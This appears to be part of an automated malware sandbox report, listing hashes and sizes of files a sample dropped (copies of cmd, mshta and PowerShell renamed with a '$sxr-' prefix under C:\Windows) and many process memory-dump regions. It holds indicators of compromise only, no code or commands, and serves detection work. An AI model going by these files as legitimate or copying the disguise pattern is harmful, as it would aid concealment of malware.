                                                                                                                            Network

                                                                                                                            MITRE ATT&CK Enterprise v15

                                                                                                                            Replay Monitor

                                                                                                                            Loading Replay Monitor...

                                                                                                                            Downloads

                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                                                                                                                              Filesize

                                                                                                                              53KB

                                                                                                                              MD5

                                                                                                                              a26df49623eff12a70a93f649776dab7

                                                                                                                              SHA1

                                                                                                                              efb53bd0df3ac34bd119adf8788127ad57e53803

                                                                                                                              SHA256

                                                                                                                              4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245

                                                                                                                              SHA512

                                                                                                                              e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_t3hj1e2e.ivu.ps1

                                                                                                                              Filesize

                                                                                                                              60B

                                                                                                                              MD5

                                                                                                                              d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                              SHA1

                                                                                                                              6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                              SHA256

                                                                                                                              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                              SHA512

                                                                                                                              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                            • C:\Windows\$sxr-cmd.exe

                                                                                                                              Filesize

                                                                                                                              283KB

                                                                                                                              MD5

                                                                                                                              8a2122e8162dbef04694b9c3e0b6cdee

                                                                                                                              SHA1

                                                                                                                              f1efb0fddc156e4c61c5f78a54700e4e7984d55d

                                                                                                                              SHA256

                                                                                                                              b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

                                                                                                                              SHA512

                                                                                                                              99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

                                                                                                                            • C:\Windows\$sxr-mshta.exe

                                                                                                                              Filesize

                                                                                                                              14KB

                                                                                                                              MD5

                                                                                                                              0b4340ed812dc82ce636c00fa5c9bef2

                                                                                                                              SHA1

                                                                                                                              51c97ebe601ef079b16bcd87af827b0be5283d96

                                                                                                                              SHA256

                                                                                                                              dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

                                                                                                                              SHA512

                                                                                                                              d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

                                                                                                                            • C:\Windows\$sxr-powershell.exe

                                                                                                                              Filesize

                                                                                                                              442KB

                                                                                                                              MD5

                                                                                                                              04029e121a0cfa5991749937dd22a1d9

                                                                                                                              SHA1

                                                                                                                              f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

                                                                                                                              SHA256

                                                                                                                              9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

                                                                                                                              SHA512

                                                                                                                              6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

                                                                                                                            • memory/376-89-0x00007FFB11910000-0x00007FFB11920000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              64KB

                                                                                                                            • memory/620-76-0x0000020190630000-0x0000020190657000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              156KB

                                                                                                                            • memory/620-77-0x00007FFB11910000-0x00007FFB11920000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              64KB

                                                                                                                            • memory/620-75-0x00000201905D0000-0x00000201905F1000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              132KB

                                                                                                                            • memory/684-81-0x00007FFB11910000-0x00007FFB11920000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              64KB

                                                                                                                            • memory/744-93-0x00007FFB11910000-0x00007FFB11920000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              64KB

                                                                                                                            • memory/960-85-0x00007FFB11910000-0x00007FFB11920000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              64KB

                                                                                                                            • memory/1040-97-0x00007FFB11910000-0x00007FFB11920000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              64KB

                                                                                                                            • memory/1056-101-0x00007FFB11910000-0x00007FFB11920000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              64KB

                                                                                                                            • memory/1060-105-0x00007FFB11910000-0x00007FFB11920000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              64KB

                                                                                                                            • memory/1220-109-0x00007FFB11910000-0x00007FFB11920000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              64KB

                                                                                                                            • memory/1248-113-0x00007FFB11910000-0x00007FFB11920000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              64KB

                                                                                                                            • memory/1336-117-0x00007FFB11910000-0x00007FFB11920000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              64KB

                                                                                                                            • memory/1376-121-0x00007FFB11910000-0x00007FFB11920000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              64KB

                                                                                                                            • memory/1388-125-0x00007FFB11910000-0x00007FFB11920000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              64KB

                                                                                                                            • memory/1892-58-0x00007FFB51700000-0x00007FFB517BE000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              760KB

                                                                                                                            • memory/1892-66-0x0000013D3C190000-0x0000013D3C1D8000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              288KB

                                                                                                                            • memory/1892-357-0x0000013D7E7E0000-0x0000013D7E81C000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              240KB

                                                                                                                            • memory/1892-354-0x0000013D7ED00000-0x0000013D7EEC2000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              1.8MB

                                                                                                                            • memory/1892-350-0x0000013D7EA70000-0x0000013D7EB22000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              712KB

                                                                                                                            • memory/1892-349-0x0000013D7E730000-0x0000013D7E780000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              320KB

                                                                                                                            • memory/1892-72-0x0000000180000000-0x0000000180007000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              28KB

                                                                                                                            • memory/1892-57-0x0000013D3A790000-0x0000013D3AD86000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              6.0MB

                                                                                                                            • memory/1892-68-0x0000013D3C1E0000-0x0000013D3C202000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              136KB

                                                                                                                            • memory/1892-59-0x00007FFB51890000-0x00007FFB51A85000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              2.0MB

                                                                                                                            • memory/1892-60-0x0000013D3B090000-0x0000013D3B5AC000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              5.1MB

                                                                                                                            • memory/1892-61-0x0000013D3B5B0000-0x0000013D3BD10000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              7.4MB

                                                                                                                            • memory/1892-62-0x0000013D3BD10000-0x0000013D3C0D6000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              3.8MB

                                                                                                                            • memory/1892-63-0x0000013D3C0E0000-0x0000013D3C192000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              712KB

                                                                                                                            • memory/4032-23-0x000001EA73B60000-0x000001EA73BFC000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              624KB

                                                                                                                            • memory/4032-17-0x00007FFB51890000-0x00007FFB51A85000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              2.0MB

                                                                                                                            • memory/4032-0-0x00007FFB334E3000-0x00007FFB334E5000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              8KB

                                                                                                                            • memory/4032-56-0x00007FFB334E0000-0x00007FFB33FA1000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              10.8MB

                                                                                                                            • memory/4032-24-0x000001EA72F90000-0x000001EA72FE0000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              320KB

                                                                                                                            • memory/4032-35-0x0000000180000000-0x0000000180007000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              28KB

                                                                                                                            • memory/4032-22-0x000001EA73130000-0x000001EA73B5C000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              10.2MB

                                                                                                                            • memory/4032-21-0x00007FFB334E0000-0x00007FFB33FA1000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              10.8MB

                                                                                                                            • memory/4032-20-0x00007FFB334E0000-0x00007FFB33FA1000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              10.8MB

                                                                                                                            • memory/4032-19-0x00007FFB334E0000-0x00007FFB33FA1000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              10.8MB

                                                                                                                            • memory/4032-18-0x00007FFB334E3000-0x00007FFB334E5000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              8KB

                                                                                                                            • memory/4032-67-0x00007FFB334E0000-0x00007FFB33FA1000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              10.8MB

                                                                                                                            • memory/4032-16-0x00007FFB51700000-0x00007FFB517BE000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              760KB

                                                                                                                            • memory/4032-15-0x000001EA7B450000-0x000001EA7BCF8000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              8.7MB

                                                                                                                            • memory/4032-14-0x000001EA730B0000-0x000001EA73126000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              472KB

                                                                                                                            • memory/4032-13-0x000001EA72FE0000-0x000001EA73024000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              272KB

                                                                                                                            • memory/4032-12-0x00007FFB334E0000-0x00007FFB33FA1000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              10.8MB

                                                                                                                            • memory/4032-11-0x00007FFB334E0000-0x00007FFB33FA1000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              10.8MB

                                                                                                                            • memory/4032-1-0x000001EA58A30000-0x000001EA58A52000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              136KB

                                                                                                                            • memory/4032-25-0x000001EA73030000-0x000001EA73088000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              352KB

                                                                                                                            • memory/4032-54-0x00007FFB334E0000-0x00007FFB33FA1000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              10.8MB

                                                                                                                            • memory/4032-26-0x000001EA58400000-0x000001EA5842C000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              176KB

                                                                                                                            • memory/4032-34-0x000001EA72C00000-0x000001EA72C06000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              24KB